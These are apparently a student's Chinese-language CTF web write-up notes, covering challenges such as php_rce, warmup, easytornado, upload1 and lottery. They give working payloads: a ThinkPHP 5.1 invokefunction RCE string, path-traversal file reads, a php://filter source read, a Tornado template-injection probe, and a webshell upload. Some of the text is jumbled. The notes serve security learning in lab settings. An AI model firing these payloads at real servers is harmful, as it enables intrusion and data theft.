baby_web
输入index.php,在消息头中找到
ics-06
将其进行抓包,爆破,在id=2333时,不同
用ctrl+u看原码将图片保存本地,用记事本打开2. backup在网站根目录下输入index.php.bakcookie
Cookie,有时也用其复数形式 Cookies。类型为“小型文本文件”,是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息
通过火狐浏览器,按F12,打开网络,先将此页面载入
disabled_button观察其源码,将disabled改为abled
拿到答案
weak_auth
点开页面,随便输入密码,然后设置代理,运行burpsuit
进行爆破,找到密码xff_referer
根据页面显示先修改ip再将页面刷新由提示,用hackbar,通过referer添加也可以运用burpsuit的repeater添加X-Forwarded-For:123.123.123.123
Referer:https://www.google.com1. simple_js
将网页展开源代码
发现下方有比较有规律的字符\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30根据相关查询16进制到文本字符串的转换,在网上搜索相关工具再用pathon,将其转化为10进制再前加上Cyberpeace,得Cyberpeace{786OsErtk12}
十六进制是由数字0-9和字母A-F组成的,表达方式由数字0(零)加上小写字母x开头的
md5 collision
观察源码,要将QNKCDZO经行md5加密在网上搜索加密工具,进行加密再在网上搜索0e开头的md5值(因为后面为补值)s878926199a
在网页中将a赋值
签到2 发现输入框的密码数不够,则在前端修改AAencode打开菜单,进行文字编码为unicode将内容放到控制台
php_rce
此题为thinkphp漏洞,版本为5.1,再在网上查找漏洞
输入
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat%20../../../flag");
warmup
查看源码,有
就输入source.php,观察到又有
再次输入hint.php
及在这个文件中,但输入这个文件页面又是空白,说明不在当前目录,在根目录,多用几个…/,最后为?file=source.php?file=../../../../../ffffllllaaaagggg
得到
php decode
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>
代码表示的意思是将内容解码,以字符串方式输出,而最后是eval
文件包含
打开首页,有
及我们看到的是index.php下的show.php,而我们想看的是index,pfp,就用
file=php://filter/read=convert.base64-encode/resource=index.php
这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然后经过base64解码,得代码
**MYSQL **
先用robots.txt,出现以下
tip 指小贴士,sql.php,则说明有这个页面,出现1024,则要用这个数字,而又取整,又要非整,则id=1024.1(不为整就行)
**GBK Injection **
与一般的相似,只是id=1中1变为一个中文字符,为了消去\,之后方式相同
**/x00 **
观察代码
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
bypass again
代码意思就是要让a,b都有值,且不相等,但md5后相同,则用md5碰撞,及搜索md5后开头为0e的字符串
**变量覆盖 **
就分析代码
**起名字真难 **
根据代码要求,key的值中不能有1到9,但其值要为54975581388(php比较数大小时
因为是==,及要其ascall相同就行,且中间不能有1到9的字符,所以就16进制的
**密码重置 **
打开的肯定是ctfuser的页面,所以user1后面的一定加密了,发现为base64,而且账号部分无法修改。推出,admin要jiami,在网址上方,而且要修稿html,再根据要求,进行修改
**密码重置2 **
观察贴士,1 flag在邮箱中 2 有备份文件
找到邮箱
查找他的.submit.php.swp
分析代码
tolen要长为10,且为0,则0e开头或0000000000
得旗
**file_get_contents **
观察内容,,传一个文件,内容为maizijiu
**变量覆盖 **
分析代码,用get方式交一个数组,经分析,键为name,key为meizijiu233,
及name=meizijiu233
unserialize3
upload1
先要上传为jpg的文件,再在bp中将其修改为php,放,再打开执行了代码的网页,连菜刀,得。
easytornado
先明确:Tornado 框架,就是一个服务器框架
先打开第一个
观察浏览器中网址特征
http://159.138.137.79:62112/file?filename=/flag.txt&filehash=4f73822a640b0dd29db8dea71e872304
因为打开的是flag.txt而网址中有异样,后面有一些,而页面又指明flag在…中;
打开第二个主要是render,且搜索内容主要关于pathon;
再看第三个
filehash后面跟的就是这个内容,所以现在的目的就是找到cookie_secret,cookie…是目的,那么可能用的就是render,现在仔细搜索render
发现注入
考虑通过注入获得cookie_secret,通过查阅构造/error?msg={{handler.settings}}得信息,再用脚本
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'cooike_secret'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()
再将得的的代入file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
mfw
有git泄露,就用githack获取其代码,发现有flag.php,但是没有什么用,就查看其index.php,观察其php脚本
其意思为通过page的get传参,来赋值
f
i
l
e
,
而
file,而
file,而file会被strpos执行,而strpos又在assert函数中,而assert函数会将其内部的代码以php执行,所以,通过传参,将strpos闭合,查看cat文件
lottery
先分析整个页面,把控大致信息,大概就是输入数字,得到钱,等有了足够钱后,就可以买到flag。所以将得钱的页面抓包,发现是api.php,而不是buy.php,所以执行的是后台的php,所以我们现在想的是要得到api.php,但是再题目网页下打不开api.php,且也没有看到的文件不能php://,扫描,发现有robots,打开,有./git/,上网上查询此类细节,用工具githack,将其网页所有代码下载,分析api的内容,并结合api抓包后是这样,要注意
php弱类型比较,bool类型的true可以和任意数据弱类型相等,因为输入数字的每一位都会被拿来判断是否相等,及一位相等的概率为1/10,且只有一位相等不得钱,只有7位相等才能的旗帜(因为要求的钱非常高,太低了不行),所以要让他每一位相等,所以考虑弱类型。
web2
就根据内容将其反转
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str); //反转字符串
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){ //循环字符串长度
$_c=substr($_o,$_0,1); //从$_0位置开始,返回1个字符
$__=ord($_c)+1; //返回字符串首个字母的ASCII值
$_c=chr($__); //返回指定进制的ASCII值
$_=$_.$_c; //拼接两个变量的内容 赋值
}
return str_rot13(strrev(base64_encode($_))); //返回 ROT13 编码/解码(反转字符串(base64加密($_))) 的结果
}
highlight_file(__FILE__); //返回高亮代码
/*
逆向加密算法,解密$miwen就是flag
*/
?>
<?php
$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$_ = base64_decode(strrev(str_rot13($str)));
$_o=NULL;
for($_0=0;$_0<strlen($_);$_0++){
$_c=substr($_,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_o=$_o.$_c;
}
echo strrev($_o);
?>